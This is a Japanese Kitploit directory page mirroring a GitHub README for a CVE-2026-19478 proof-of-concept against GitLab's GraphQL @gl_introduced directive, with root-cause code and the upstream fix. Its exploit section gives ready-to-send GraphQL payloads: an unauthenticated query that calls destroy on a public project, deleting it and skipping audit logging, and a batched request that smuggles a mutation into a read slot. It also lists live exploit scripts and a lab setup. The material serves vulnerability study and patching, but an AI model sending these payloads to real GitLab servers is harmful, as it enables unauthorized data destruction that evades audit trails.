Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-19478 — 2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。 | Kitploit
ツール/GitHubGitHub/n0xdaemon/cve-2026-19478
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティ
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。

リポジトリを見る
241ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-19478 — GitLab GraphQL @gl_introduced バージョンフィルターの脆弱性

GitLabのGraphQLバージョンフィルター機能(@gl_introducedディレクティブ)に関連する2つのバグの再現ラボです。どちらも同じ機能領域に存在し、同じアップストリームパッチで修正され、いずれもGraphQLリクエストが宣言していないコードパスに到達できるようにします:

  • フォールバックフィールドのメソッド実行 — 単一の、認証なしの、バッチ化されていないクエリで、存在しないフィールドを指定して@gl_introducedを付けるだけで、任意のGraphQLタイプの背後にあるモデル上で任意のゼロ引数メソッド(例:destroy)を呼び出すことができます。
  • オペレーション間のドキュメントすり替え — バッチ(マルチプレックス)リクエストにおいて、あるオペレーションのパース済みクエリドキュメントが別のオペレーションのものとして差し替えられ、無害な読み取りを宣言したスロットが別のスロットのミューテーションを実行してしまう可能性があります。
影響を受けるバージョン18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
修正済みバージョン18.11.11, 19.0.8, 19.1.6, 19.2.4
ラボの対象gitlab/gitlab-ce:19.2.2-ce.0 (修正前の最後のビルド)
トリガーGraphQL @gl_introduced ディレクティブ、単独またはバッチ内

リポジトリ構成

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

src/ 配下はすべてアップストリームソースの逐語そのままであり、再実装は一切されていません。ローダーは src/vuln または src/patched を src/common の上に重ねます。


1. 根本原因

1a. フォールバックフィールド → graphql-rubyのデフォルトメソッド解決

Gitlab::Graphql::VersionFilter::FutureFieldFallback により、クエリは、型にまだ存在しないフィールドを参照してもリクエストが失敗しなくなります。これはローリングデプロイを想定したもので、古いノードのスキーマに、新しいノードがすでに搭載しているフィールドがまだ存在しない場合を対象としています。その get_field オーバーライドは、要求されたフィールドが欠落しているかつリクエストが contain_future_fields とフラグ付けされているかをチェックし、その場合、例外を発生させる代わりに合成フィールドを返します:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

問題は、この GraphQL::Schema::Field がリゾルバメソッドもリゾルバクラスもブロックも持たずに構築されることです。その後、graphql-ruby自身のデフォルトフィールド解決が適用されます(graphql gem 2.6.3、lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym はフィールド名をアンダースコア化したもの、つまり攻撃者がクエリに入れた文字列そのものです。GraphQLタイプの背後にあるオブジェクト(ActiveRecordモデル)に、たまたまその名前の実在するゼロ引数のパブリックメソッドがあれば、graphql-rubyはそれを呼び出し、(型強制された)結果を返します。fallback_value: nil はメソッドが本当に存在しない場合にのみ適用されます。実在するメソッドの実行を止める効果は一切ありません。

つまり、任意のタイプに対して、実際に存在する破壊的メソッドの名前(例:destroy)をフィールドとしてクエリし、@gl_introduced を付けて実行まで生き残らせれば、そのメソッドが実行されます。

1b. オペレーション間のドキュメントすり替え

IntroducedTracer は、バージョンフィルター機能の残りを2つのgraphql-rubyトレースフック — parse(オペレーションごとに1回)と execute_query(オペレーションごとに1回)— にわたって実装しています。脆弱なビルドでは、トレースオブジェクト上のプレーンなインスタンス変数にオペレーションごとの状態を格納しています:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

問題は、graphql-rubyがマルチプレックスリクエスト内のすべてのオペレーションに対して1つのトレースインスタンスを共有し、すべてのオペレーションを実行前にパースすることです。 したがって、2オペレーションのバッチでは:

  1. parse(op1) → @original_query_document = op1_doc、@contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc、@contain_future_fields = true (op2は @gl_introduced フューチャーフィールドを持つ)

パース後、最後のオペレーションの状態だけが残ります。そして実行が始まります:

  1. execute_query(op1) → フラグは true なので、op1のドキュメントはop2_docで上書きされ、再準備される → op1のスロットがop2のオペレーションを実行します。

op1 は読み取りを宣言しましたが、実行されるのは op2 の書き込みです。

修正内容

patch-19.2.2-to-19.2.4.diff は両方を修正します:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. エクスプロイトの流れ

2a. フォールバックフィールド — 単一リクエスト、認証なし、バッチなし

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Authorization ヘッダーはありません。1オペレーションで、バッチでもありません。destroy は Project の実際のフィールドではありません — スキーマにはまったく存在しません — しかし、ディレクティブによって FutureFieldFilter は静的検証の前にそれを取り除き、実行時に contain_future_fields を作動させ、get_field は destroy という名前のリゾルバなしフィールドを返し、graphql-rubyは project.public_send(:destroy) を呼び出します。

ライブで検証済み(evidence/live_vuln_fallback_field.txt、3つの別々の使い捨てプロジェクトに対して3回再現):パブリックプロジェクトに対して送信したところ、レスポンスは {"data":{"project":{"id":"...","destroy":true}}} でした。その後の認証付きRESTチェック(GET /api/v4/projects/:id)は 404 を返しました — プロジェクトは実際に消えていました。その呼び出しのリクエストログには、同期データベース書き込みが9回、新しい AuditEvent 行はゼロと記録されています:この呼び出しは Projects::DestroyService を完全にバイパスし(それに伴い監査証跡、ウェブフック、通知もすべてバイパス)、GraphQLのデフォルトフィールド解決を通じて直接呼び出される生の ActiveRecord#destroy カスケードです。

2b. オペレーション間のドキュメントすり替え — バッチが必要

sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2ペイロード — @gl_introduced ディレクティブは実在するフィールドに付いていればよく、それによってパース時に FutureFieldFilter が contain_future_fields を立ててすり替えを作動させます:

mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

ライブで検証済み(evidence/live_vuln.txt):query { currentUser { username } } を宣言したスロット1が {"data":{"starProject":{"count":"0"}}} を返し、プロジェクトのスター数が 1 → 0 に変化します。


3. PoCの実行

PoC #1 — ライブHTTPエクスプロイト、フォールバックフィールドのメソッド実行

docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)
ツールをダウンロード